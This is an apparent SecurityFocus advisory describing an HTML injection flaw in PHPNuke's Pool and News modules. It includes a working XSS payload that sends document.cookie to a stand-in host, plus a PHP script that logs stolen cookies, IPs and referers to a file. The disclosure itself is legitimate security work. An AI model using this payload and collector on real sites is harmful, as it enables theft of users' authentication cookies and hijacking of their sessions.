source: https://www.securityfocus.com/bid/16192/info The PHPNuke Pool and News Modules are prone to an HTML injection vulnerability. This issue is due to a failure in the application modules to properly sanitize user-supplied input before using it in dynamically generated content. Attacker-supplied HTML and script code would be executed in the context of the affected Web site, potentially allowing for theft of cookie-based authentication credentials. An attacker could also exploit this issue to control how the site is rendered to the user; other attacks are also possible. <img src="javascript:window.navigate('http://www.example.com/cookies.php?c='+document.cookie);" cookies.php $cookie = $_GET['c']; $ip = getenv ('REMOTE_ADDR'); $date=date("j F, Y, g:i a"); $referer=getenv ('HTTP_REFERER'); $fp = fopen('steal.php', 'a'); fwrite($fp, ' Cookie: '.$cookie.' IP: ' .$ip. ' Date and Time: ' .$date. ' Referer: '.$referer.' '); fclose($fp); ?>